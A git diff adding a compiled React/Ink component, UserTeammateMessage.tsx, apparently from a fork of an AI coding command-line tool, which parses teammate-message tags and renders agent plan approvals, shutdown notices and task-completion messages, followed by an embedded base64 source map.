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
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/components/messages/UserTeammateMessage.tsx b/_all-in-one-upload/cc-haha/src/components/messages/UserTeammateMessage.tsx
new file mode 100644
index 0000000..0eaad84
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/messages/UserTeammateMessage.tsx
@@ -0,0 +1,206 @@
+import { c as _c } from "react/compiler-runtime";
+import type { TextBlockParam } from '@anthropic-ai/sdk/resources/index.mjs';
+import figures from 'figures';
+import * as React from 'react';
+import { TEAMMATE_MESSAGE_TAG } from '../../constants/xml.js';
+import { Ansi, Box, Text, type TextProps } from '../../ink.js';
+import { toInkColor } from '../../utils/ink.js';
+import { jsonParse } from '../../utils/slowOperations.js';
+import { isShutdownApproved } from '../../utils/teammateMailbox.js';
+import { MessageResponse } from '../MessageResponse.js';
+import { tryRenderPlanApprovalMessage } from './PlanApprovalMessage.js';
+import { tryRenderShutdownMessage } from './ShutdownMessage.js';
+import { tryRenderTaskAssignmentMessage } from './TaskAssignmentMessage.js';
+type Props = {
+  addMargin: boolean;
+  param: TextBlockParam;
+  isTranscriptMode?: boolean;
+};
+type ParsedMessage = {
+  teammateId: string;
+  content: string;
+  color?: string;
+  summary?: string;
+};
+const TEAMMATE_MSG_REGEX = new RegExp(`<${TEAMMATE_MESSAGE_TAG}\\s+teammate_id="([^"]+)"(?:\\s+color="([^"]+)")?(?:\\s+summary="([^"]+)")?>\\n?([\\s\\S]*?)\\n?<\\/${TEAMMATE_MESSAGE_TAG}>`, 'g');
+
+/**
+ * Parse all teammate messages from XML format:
+ * <teammate-message teammate_id="alice" color="red" summary="Brief update">message content</teammate-message>
+ * Supports multiple messages in a single text block.
+ */
+function parseTeammateMessages(text: string): ParsedMessage[] {
+  const messages: ParsedMessage[] = [];
+  // Use matchAll to find all matches (this is a RegExp method, not child_process)
+  for (const match of text.matchAll(TEAMMATE_MSG_REGEX)) {
+    if (match[1] && match[4]) {
+      messages.push({
+        teammateId: match[1],
+        color: match[2],
+        // may be undefined
+        summary: match[3],
+        // may be undefined
+        content: match[4].trim()
+      });
+    }
+  }
+  return messages;
+}
+function getDisplayName(teammateId: string): string {
+  if (teammateId === 'leader') {
+    return 'leader';
+  }
+  return teammateId;
+}
+export function UserTeammateMessage({
+  addMargin,
+  param: {
+    text
+  },
+  isTranscriptMode
+}: Props): React.ReactNode {
+  const messages = parseTeammateMessages(text).filter(msg => {
+    // Pre-filter shutdown lifecycle messages to avoid empty wrapper
+    // Box elements creating blank lines between model turns
+    if (isShutdownApproved(msg.content)) {
+      return false;
+    }
+    try {
+      const parsed = jsonParse(msg.content);
+      if (parsed?.type === 'teammate_terminated') return false;
+    } catch {
+      // Not JSON, keep the message
+    }
+    return true;
+  });
+  if (messages.length === 0) {
+    return null;
+  }
+  return <Box flexDirection="column" marginTop={addMargin ? 1 : 0} width="100%">
+      {messages.map((msg_0, index) => {
+      const inkColor = toInkColor(msg_0.color);
+      const displayName = getDisplayName(msg_0.teammateId);
+
+      // Try to render as plan approval message (request or response)
+      const planApprovalElement = tryRenderPlanApprovalMessage(msg_0.content, displayName);
+      if (planApprovalElement) {
+        return <React.Fragment key={index}>{planApprovalElement}</React.Fragment>;
+      }
+
+      // Try to render as shutdown message (request or rejected)
+      const shutdownElement = tryRenderShutdownMessage(msg_0.content);
+      if (shutdownElement) {
+        return <React.Fragment key={index}>{shutdownElement}</React.Fragment>;
+      }
+
+      // Try to render as task assignment message
+      const taskAssignmentElement = tryRenderTaskAssignmentMessage(msg_0.content);
+      if (taskAssignmentElement) {
+        return <React.Fragment key={index}>{taskAssignmentElement}</React.Fragment>;
+      }
+
+      // Try to parse as structured JSON message
+      let parsedIdleNotification: {
+        type?: string;
+      } | null = null;
+      try {
+        parsedIdleNotification = jsonParse(msg_0.content);
+      } catch {
+        // Not JSON
+      }
+
+      // Hide idle notifications - they are processed silently
+      if (parsedIdleNotification?.type === 'idle_notification') {
+        return null;
+      }
+
+      // Task completed notification - show which task was completed
+      if (parsedIdleNotification?.type === 'task_completed') {
+        const taskCompleted = parsedIdleNotification as {
+          type: string;
+          from: string;
+          taskId: string;
+          taskSubject?: string;
+        };
+        return <Box key={index} flexDirection="column" marginTop={1}>
+              <Text color={inkColor}>{`@${displayName}${figures.pointer}`}</Text>
+              <MessageResponse>
+                <Text color="success">✓</Text>
+                <Text>
+                  {' '}
+                  Completed task #{taskCompleted.taskId}
+                  {taskCompleted.taskSubject && <Text dimColor> ({taskCompleted.taskSubject})</Text>}
+                </Text>
+              </MessageResponse>
+            </Box>;
+      }
+
+      // Default: plain text message (truncated)
+      return <TeammateMessageContent key={index} displayName={displayName} inkColor={inkColor} content={msg_0.content} summary={msg_0.summary} isTranscriptMode={isTranscriptMode} />;
+    })}
+    </Box>;
+}
+type TeammateMessageContentProps = {
+  displayName: string;
+  inkColor: TextProps['color'];
+  content: string;
+  summary?: string;
+  isTranscriptMode?: boolean;
+};
+export function TeammateMessageContent(t0) {
+  const $ = _c(14);
+  const {
+    displayName,
+    inkColor,
+    content,
+    summary,
+    isTranscriptMode
+  } = t0;
+  const t1 = `@${displayName}${figures.pointer}`;
+  let t2;
+  if ($[0] !== inkColor || $[1] !== t1) {
+    t2 = <Text color={inkColor}>{t1}</Text>;
+    $[0] = inkColor;
+    $[1] = t1;
+    $[2] = t2;
+  } else {
+    t2 = $[2];
+  }
+  let t3;
+  if ($[3] !== summary) {
+    t3 = summary && <Text> {summary}</Text>;
+    $[3] = summary;
+    $[4] = t3;
+  } else {
+    t3 = $[4];
+  }
+  let t4;
+  if ($[5] !== t2 || $[6] !== t3) {
+    t4 = <Box>{t2}{t3}</Box>;
+    $[5] = t2;
+    $[6] = t3;
+    $[7] = t4;
+  } else {
+    t4 = $[7];
+  }
+  let t5;
+  if ($[8] !== content || $[9] !== isTranscriptMode) {
+    t5 = isTranscriptMode && <Box paddingLeft={2}><Text><Ansi>{content}</Ansi></Text></Box>;
+    $[8] = content;
+    $[9] = isTranscriptMode;
+    $[10] = t5;
+  } else {
+    t5 = $[10];
+  }
+  let t6;
+  if ($[11] !== t4 || $[12] !== t5) {
+    t6 = <Box flexDirection="column" marginTop={1}>{t4}{t5}</Box>;
+    $[11] = t4;
+    $[12] = t5;
+    $[13] = t6;
+  } else {
+    t6 = $[13];
+  }
+  return t6;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJUZXh0QmxvY2tQYXJhbSIsImZpZ3VyZXMiLCJSZWFjdCIsIlRFQU1NQVRFX01FU1NBR0VfVEFHIiwiQW5zaSIsIkJveCIsIlRleHQiLCJUZXh0UHJvcHMiLCJ0b0lua0NvbG9yIiwianNvblBhcnNlIiwiaXNTaHV0ZG93bkFwcHJvdmVkIiwiTWVzc2FnZVJlc3BvbnNlIiwidHJ5UmVuZGVyUGxhbkFwcHJvdmFsTWVzc2FnZSIsInRyeVJlbmRlclNodXRkb3duTWVzc2FnZSIsInRyeVJlbmRlclRhc2tBc3NpZ25tZW50TWVzc2FnZSIsIlByb3BzIiwiYWRkTWFyZ2luIiwicGFyYW0iLCJpc1RyYW5zY3JpcHRNb2RlIiwiUGFyc2VkTWVzc2FnZSIsInRlYW1tYXRlSWQiLCJjb250ZW50IiwiY29sb3IiLCJzdW1tYXJ5IiwiVEVBTU1BVEVfTVNHX1JFR0VYIiwiUmVnRXhwIiwicGFyc2VUZWFtbWF0ZU1lc3NhZ2VzIiwidGV4dCIsIm1lc3NhZ2VzIiwibWF0Y2giLCJtYXRjaEFsbCIsInB1c2giLCJ0cmltIiwiZ2V0RGlzcGxheU5hbWUiLCJVc2VyVGVhbW1hdGVNZXNzYWdlIiwiUmVhY3ROb2RlIiwiZmlsdGVyIiwibXNnIiwicGFyc2VkIiwidHlwZSIsImxlbmd0aCIsIm1hcCIsImluZGV4IiwiaW5rQ29sb3IiLCJkaXNwbGF5TmFtZSIsInBsYW5BcHByb3ZhbEVsZW1lbnQiLCJzaHV0ZG93bkVsZW1lbnQiLCJ0YXNrQXNzaWdubWVudEVsZW1lbnQiLCJwYXJzZWRJZGxlTm90aWZpY2F0aW9uIiwidGFza0NvbXBsZXRlZCIsImZyb20iLCJ0YXNrSWQiLCJ0YXNrU3ViamVjdCIsInBvaW50ZXIiLCJUZWFtbWF0ZU1lc3NhZ2VDb250ZW50UHJvcHMiLCJUZWFtbWF0ZU1lc3NhZ2VDb250ZW50IiwidDAiLCIkIiwiX2MiLCJ0MSIsInQyIiwidDMiLCJ0NCIsInQ1IiwidDYiXSwic291cmNlcyI6WyJVc2VyVGVhbW1hdGVNZXNzYWdlLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgdHlwZSB7IFRleHRCbG9ja1BhcmFtIH0gZnJvbSAnQGFudGhyb3BpYy1haS9zZGsvcmVzb3VyY2VzL2luZGV4Lm1qcydcbmltcG9ydCBmaWd1cmVzIGZyb20gJ2ZpZ3VyZXMnXG5pbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB7IFRFQU1NQVRFX01FU1NBR0VfVEFHIH0gZnJvbSAnLi4vLi4vY29uc3RhbnRzL3htbC5qcydcbmltcG9ydCB7IEFuc2ksIEJveCwgVGV4dCwgdHlwZSBUZXh0UHJvcHMgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5pbXBvcnQgeyB0b0lua0NvbG9yIH0gZnJvbSAnLi4vLi4vdXRpbHMvaW5rLmpzJ1xuaW1wb3J0IHsganNvblBhcnNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc2xvd09wZXJhdGlvbnMuanMnXG5pbXBvcnQgeyBpc1NodXRkb3duQXBwcm92ZWQgfSBmcm9tICcuLi8uLi91dGlscy90ZWFtbWF0ZU1haWxib3guanMnXG5pbXBvcnQgeyBNZXNzYWdlUmVzcG9uc2UgfSBmcm9tICcuLi9NZXNzYWdlUmVzcG9uc2UuanMnXG5pbXBvcnQgeyB0cnlSZW5kZXJQbGFuQXBwcm92YWxNZXNzYWdlIH0gZnJvbSAnLi9QbGFuQXBwcm92YWxNZXNzYWdlLmpzJ1xuaW1wb3J0IHsgdHJ5UmVuZGVyU2h1dGRvd25NZXNzYWdlIH0gZnJvbSAnLi9TaHV0ZG93bk1lc3NhZ2UuanMnXG5pbXBvcnQgeyB0cnlSZW5kZXJUYXNrQXNzaWdubWVudE1lc3NhZ2UgfSBmcm9tICcuL1Rhc2tBc3NpZ25tZW50TWVzc2FnZS5qcydcblxudHlwZSBQcm9wcyA9IHtcbiAgYWRkTWFyZ2luOiBib29sZWFuXG4gIHBhcmFtOiBUZXh0QmxvY2tQYXJhbVxuICBpc1RyYW5zY3JpcHRNb2RlPzogYm9vbGVhblxufVxuXG50eXBlIFBhcnNlZE1lc3NhZ2UgPSB7XG4gIHRlYW1tYXRlSWQ6IHN0cmluZ1xuICBjb250ZW50OiBzdHJpbmdcbiAgY29sb3I/OiBzdHJpbmdcbiAgc3VtbWFyeT86IHN0cmluZ1xufVxuXG5jb25zdCBURUFNTUFURV9NU0dfUkVHRVggPSBuZXcgUmVnRXhwKFxuICBgPCR7VEVBTU1BVEVfTUVTU0FHRV9UQUd9XFxcXHMrdGVhbW1hdGVfaWQ9XCIoW15cIl0rKVwiKD86XFxcXHMrY29sb3I9XCIoW15cIl0rKVwiKT8oPzpcXFxccytzdW1tYXJ5PVwiKFteXCJdKylcIik/PlxcXFxuPyhbXFxcXHNcXFxcU10qPylcXFxcbj88XFxcXC8ke1RFQU1NQVRFX01FU1NBR0VfVEFHfT5gLFxuICAnZycsXG4pXG5cbi8qKlxuICogUGFyc2UgYWxsIHRlYW1tYXRlIG1lc3NhZ2VzIGZyb20gWE1MIGZvcm1hdDpcbiAqIDx0ZWFtbWF0ZS1tZXNzYWdlIHRlYW1tYXRlX2lkPVwiYWxpY2VcIiBjb2xvcj1cInJlZFwiIHN1bW1hcnk9XCJCcmllZiB1cGRhdGVcIj5tZXNzYWdlIGNvbnRlbnQ8L3RlYW1tYXRlLW1lc3NhZ2U+XG4gKiBTdXBwb3J0cyBtdWx0aXBsZSBtZXNzYWdlcyBpbiBhIHNpbmdsZSB0ZXh0IGJsb2NrLlxuICovXG5mdW5jdGlvbiBwYXJzZVRlYW1tYXRlTWVzc2FnZXModGV4dDogc3RyaW5nKTogUGFyc2VkTWVzc2FnZVtdIHtcbiAgY29uc3QgbWVzc2FnZXM6IFBhcnNlZE1lc3NhZ2VbXSA9IFtdXG4gIC8vIFVzZSBtYXRjaEFsbCB0byBmaW5kIGFsbCBtYXRjaGVzICh0aGlzIGlzIGEgUmVnRXhwIG1ldGhvZCwgbm90IGNoaWxkX3Byb2Nlc3MpXG4gIGZvciAoY29uc3QgbWF0Y2ggb2YgdGV4dC5tYXRjaEFsbChURUFNTUFURV9NU0dfUkVHRVgpKSB7XG4gICAgaWYgKG1hdGNoWzFdICYmIG1hdGNoWzRdKSB7XG4gICAgICBtZXNzYWdlcy5wdXNoKHtcbiAgICAgICAgdGVhbW1hdGVJZDogbWF0Y2hbMV0sXG4gICAgICAgIGNvbG9yOiBtYXRjaFsyXSwgLy8gbWF5IGJlIHVuZGVmaW5lZFxuICAgICAgICBzdW1tYXJ5OiBtYXRjaFszXSwgLy8gbWF5IGJlIHVuZGVmaW5lZFxuICAgICAgICBjb250ZW50OiBtYXRjaFs0XS50cmltKCksXG4gICAgICB9KVxuICAgIH1cbiAgfVxuXG4gIHJldHVybiBtZXNzYWdlc1xufVxuXG5mdW5jdGlvbiBnZXREaXNwbGF5TmFtZSh0ZWFtbWF0ZUlkOiBzdHJpbmcpOiBzdHJpbmcge1xuICBpZiAodGVhbW1hdGVJZCA9PT0gJ2xlYWRlcicpIHtcbiAgICByZXR1cm4gJ2xlYWRlcidcbiAgfVxuICByZXR1cm4gdGVhbW1hdGVJZFxufVxuXG5leHBvcnQgZnVuY3Rpb24gVXNlclRlYW1tYXRlTWVzc2FnZSh7XG4gIGFkZE1hcmdpbixcbiAgcGFyYW06IHsgdGV4dCB9LFxuICBpc1RyYW5zY3JpcHRNb2RlLFxufTogUHJvcHMpOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCBtZXNzYWdlcyA9IHBhcnNlVGVhbW1hdGVNZXNzYWdlcyh0ZXh0KS5maWx0ZXIobXNnID0+IHtcbiAgICAvLyBQcmUtZmlsdGVyIHNodXRkb3duIGxpZmVjeWNsZSBtZXNzYWdlcyB0byBhdm9pZCBlbXB0eSB3cmFwcGVyXG4gICAgLy8gQm94IGVsZW1lbnRzIGNyZWF0aW5nIGJsYW5rIGxpbmVzIGJldHdlZW4gbW9kZWwgdHVybnNcbiAgICBpZiAoaXNTaHV0ZG93bkFwcHJvdmVkKG1zZy5jb250ZW50KSkge1xuICAgICAgcmV0dXJuIGZhbHNlXG4gICAgfVxuICAgIHRyeSB7XG4gICAgICBjb25zdCBwYXJzZWQgPSBqc29uUGFyc2UobXNnLmNvbnRlbnQpXG4gICAgICBpZiAocGFyc2VkPy50eXBlID09PSAndGVhbW1hdGVfdGVybWluYXRlZCcpIHJldHVybiBmYWxzZVxuICAgIH0gY2F0Y2gge1xuICAgICAgLy8gTm90IEpTT04sIGtlZXAgdGhlIG1lc3NhZ2VcbiAgICB9XG4gICAgcmV0dXJuIHRydWVcbiAgfSlcbiAgaWYgKG1lc3NhZ2VzLmxlbmd0aCA9PT0gMCkge1xuICAgIHJldHVybiBudWxsXG4gIH1cblxuICByZXR1cm4gKFxuICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiIG1hcmdpblRvcD17YWRkTWFyZ2luID8gMSA6IDB9IHdpZHRoPVwiMTAwJVwiPlxuICAgICAge21lc3NhZ2VzLm1hcCgobXNnLCBpbmRleCkgPT4ge1xuICAgICAgICBjb25zdCBpbmtDb2xvciA9IHRvSW5rQ29sb3IobXNnLmNvbG9yKVxuICAgICAgICBjb25zdCBkaXNwbGF5TmFtZSA9IGdldERpc3BsYXlOYW1lKG1zZy50ZWFtbWF0ZUlkKVxuXG4gICAgICAgIC8vIFRyeSB0byByZW5kZXIgYXMgcGxhbiBhcHByb3ZhbCBtZXNzYWdlIChyZXF1ZXN0IG9yIHJlc3BvbnNlKVxuICAgICAgICBjb25zdCBwbGFuQXBwcm92YWxFbGVtZW50ID0gdHJ5UmVuZGVyUGxhbkFwcHJvdmFsTWVzc2FnZShcbiAgICAgICAgICBtc2cuY29udGVudCxcbiAgICAgICAgICBkaXNwbGF5TmFtZSxcbiAgICAgICAgKVxuICAgICAgICBpZiAocGxhbkFwcHJvdmFsRWxlbWVudCkge1xuICAgICAgICAgIHJldHVybiAoXG4gICAgICAgICAgICA8UmVhY3QuRnJhZ21lbnQga2V5PXtpbmRleH0+e3BsYW5BcHByb3ZhbEVsZW1lbnR9PC9SZWFjdC5GcmFnbWVudD5cbiAgICAgICAgICApXG4gICAgICAgIH1cblxuICAgICAgICAvLyBUcnkgdG8gcmVuZGVyIGFzIHNodXRkb3duIG1lc3NhZ2UgKHJlcXVlc3Qgb3IgcmVqZWN0ZWQpXG4gICAgICAgIGNvbnN0IHNodXRkb3duRWxlbWVudCA9IHRyeVJlbmRlclNodXRkb3duTWVzc2FnZShtc2cuY29udGVudClcbiAgICAgICAgaWYgKHNodXRkb3duRWxlbWVudCkge1xuICAgICAgICAgIHJldHVybiA8UmVhY3QuRnJhZ21lbnQga2V5PXtpbmRleH0+e3NodXRkb3duRWxlbWVudH08L1JlYWN0LkZyYWdtZW50PlxuICAgICAgICB9XG5cbiAgICAgICAgLy8gVHJ5IHRvIHJlbmRlciBhcyB0YXNrIGFzc2lnbm1lbnQgbWVzc2FnZVxuICAgICAgICBjb25zdCB0YXNrQXNzaWdubWVudEVsZW1lbnQgPSB0cnlSZW5kZXJUYXNrQXNzaWdubWVudE1lc3NhZ2UoXG4gICAgICAgICAgbXNnLmNvbnRlbnQsXG4gICAgICAgIClcbiAgICAgICAgaWYgKHRhc2tBc3NpZ25tZW50RWxlbWVudCkge1xuICAgICAgICAgIHJldHVybiAoXG4gICAgICAgICAgICA8UmVhY3QuRnJhZ21lbnQga2V5PXtpbmRleH0+e3Rhc2tBc3NpZ25tZW50RWxlbWVudH08L1JlYWN0LkZyYWdtZW50PlxuICAgICAgICAgIClcbiAgICAgICAgfVxuXG4gICAgICAgIC8vIFRyeSB0byBwYXJzZSBhcyBzdHJ1Y3R1cmVkIEpTT04gbWVzc2FnZVxuICAgICAgICBsZXQgcGFyc2VkSWRsZU5vdGlmaWNhdGlvbjogeyB0eXBlPzogc3RyaW5nIH0gfCBudWxsID0gbnVsbFxuICAgICAgICB0cnkge1xuICAgICAgICAgIHBhcnNlZElkbGVOb3RpZmljYXRpb24gPSBqc29uUGFyc2UobXNnLmNvbnRlbnQpXG4gICAgICAgIH0gY2F0Y2gge1xuICAgICAgICAgIC8vIE5vdCBKU09OXG4gICAgICAgIH1cblxuICAgICAgICAvLyBIaWRlIGlkbGUgbm90aWZpY2F0aW9ucyAtIHRoZXkgYXJlIHByb2Nlc3NlZCBzaWxlbnRseVxuICAgICAgICBpZiAocGFyc2VkSWRsZU5vdGlmaWNhdGlvbj8udHlwZSA9PT0gJ2lkbGVfbm90aWZpY2F0aW9uJykge1xuICAgICAgICAgIHJldHVybiBudWxsXG4gICAgICAgIH1cblxuICAgICAgICAvLyBUYXNrIGNvbXBsZXRlZCBub3RpZmljYXRpb24gLSBzaG93IHdoaWNoIHRhc2sgd2FzIGNvbXBsZXRlZFxuICAgICAgICBpZiAocGFyc2VkSWRsZU5vdGlmaWNhdGlvbj8udHlwZSA9PT0gJ3Rhc2tfY29tcGxldGVkJykge1xuICAgICAgICAgIGNvbnN0IHRhc2tDb21wbGV0ZWQgPSBwYXJzZWRJZGxlTm90aWZpY2F0aW9uIGFzIHtcbiAgICAgICAgICAgIHR5cGU6IHN0cmluZ1xuICAgICAgICAgICAgZnJvbTogc3RyaW5nXG4gICAgICAgICAgICB0YXNrSWQ6IHN0cmluZ1xuICAgICAgICAgICAgdGFza1N1YmplY3Q/OiBzdHJpbmdcbiAgICAgICAgICB9XG4gICAgICAgICAgcmV0dXJuIChcbiAgICAgICAgICAgIDxCb3gga2V5PXtpbmRleH0gZmxleERpcmVjdGlvbj1cImNvbHVtblwiIG1hcmdpblRvcD17MX0+XG4gICAgICAgICAgICAgIDxUZXh0XG4gICAgICAgICAgICAgICAgY29sb3I9e2lua0NvbG9yfVxuICAgICAgICAgICAgICA+e2BAJHtkaXNwbGF5TmFtZX0ke2ZpZ3VyZXMucG9pbnRlcn1gfTwvVGV4dD5cbiAgICAgICAgICAgICAgPE1lc3NhZ2VSZXNwb25zZT5cbiAgICAgICAgICAgICAgICA8VGV4dCBjb2xvcj1cInN1Y2Nlc3NcIj7inJM8L1RleHQ+XG4gICAgICAgICAgICAgICAgPFRleHQ+XG4gICAgICAgICAgICAgICAgICB7JyAnfVxuICAgICAgICAgICAgICAgICAgQ29tcGxldGVkIHRhc2sgI3t0YXNrQ29tcGxldGVkLnRhc2tJZH1cbiAgICAgICAgICAgICAgICAgIHt0YXNrQ29tcGxldGVkLnRhc2tTdWJqZWN0ICYmIChcbiAgICAgICAgICAgICAgICAgICAgPFRleHQgZGltQ29sb3I+ICh7dGFza0NvbXBsZXRlZC50YXNrU3ViamVjdH0pPC9UZXh0PlxuICAgICAgICAgICAgICAgICAgKX1cbiAgICAgICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICAgIDwvTWVzc2FnZVJlc3BvbnNlPlxuICAgICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgKVxuICAgICAgICB9XG5cbiAgICAgICAgLy8gRGVmYXVsdDogcGxhaW4gdGV4dCBtZXNzYWdlICh0cnVuY2F0ZWQpXG4gICAgICAgIHJldHVybiAoXG4gICAgICAgICAgPFRlYW1tYXRlTWVzc2FnZUNvbnRlbnRcbiAgICAgICAgICAgIGtleT17aW5kZXh9XG4gICAgICAgICAgICBkaXNwbGF5TmFtZT17ZGlzcGxheU5hbWV9XG4gICAgICAgICAgICBpbmtDb2xvcj17aW5rQ29sb3J9XG4gICAgICAgICAgICBjb250ZW50PXttc2cuY29udGVudH1cbiAgICAgICAgICAgIHN1bW1hcnk9e21zZy5zdW1tYXJ5fVxuICAgICAgICAgICAgaXNUcmFuc2NyaXB0TW9kZT17aXNUcmFuc2NyaXB0TW9kZX1cbiAgICAgICAgICAvPlxuICAgICAgICApXG4gICAgICB9KX1cbiAgICA8L0JveD5cbiAgKVxufVxuXG50eXBlIFRlYW1tYXRlTWVzc2FnZUNvbnRlbnRQcm9wcyA9IHtcbiAgZGlzcGxheU5hbWU6IHN0cmluZ1xuICBpbmtDb2xvcjogVGV4dFByb3BzWydjb2xvciddXG4gIGNvbnRlbnQ6IHN0cmluZ1xuICBzdW1tYXJ5Pzogc3RyaW5nXG4gIGlzVHJhbnNjcmlwdE1vZGU/OiBib29sZWFuXG59XG5cbmV4cG9ydCBmdW5jdGlvbiBUZWFtbWF0ZU1lc3NhZ2VDb250ZW50KHtcbiAgZGlzcGxheU5hbWUsXG4gIGlua0NvbG9yLFxuICBjb250ZW50LFxuICBzdW1tYXJ5LFxuICBpc1RyYW5zY3JpcHRNb2RlLFxufTogVGVhbW1hdGVNZXNzYWdlQ29udGVudFByb3BzKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgcmV0dXJuIChcbiAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIiBtYXJnaW5Ub3A9ezF9PlxuICAgICAgPEJveD5cbiAgICAgICAgPFRleHQgY29sb3I9e2lua0NvbG9yfT57YEAke2Rpc3BsYXlOYW1lfSR7ZmlndXJlcy5wb2ludGVyfWB9PC9UZXh0PlxuICAgICAgICB7c3VtbWFyeSAmJiA8VGV4dD4ge3N1bW1hcnl9PC9UZXh0Pn1cbiAgICAgIDwvQm94PlxuICAgICAge2lzVHJhbnNjcmlwdE1vZGUgJiYgKFxuICAgICAgICA8Qm94IHBhZGRpbmdMZWZ0PXsyfT5cbiAgICAgICAgICA8VGV4dD5cbiAgICAgICAgICAgIDxBbnNpPntjb250ZW50fTwvQW5zaT5cbiAgICAgICAgICA8L1RleHQ+XG4gICAgICAgIDwvQm94PlxuICAgICAgKX1cbiAgICA8L0JveD5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsY0FBY0EsY0FBYyxRQUFRLHVDQUF1QztBQUMzRSxPQUFPQyxPQUFPLE1BQU0sU0FBUztBQUM3QixPQUFPLEtBQUtDLEtBQUssTUFBTSxPQUFPO0FBQzlCLFNBQVNDLG9CQUFvQixRQUFRLHdCQUF3QjtBQUM3RCxTQUFTQyxJQUFJLEVBQUVDLEdBQUcsRUFBRUMsSUFBSSxFQUFFLEtBQUtDLFNBQVMsUUFBUSxjQUFjO0FBQzlELFNBQVNDLFVBQVUsUUFBUSxvQkFBb0I7QUFDL0MsU0FBU0MsU0FBUyxRQUFRLCtC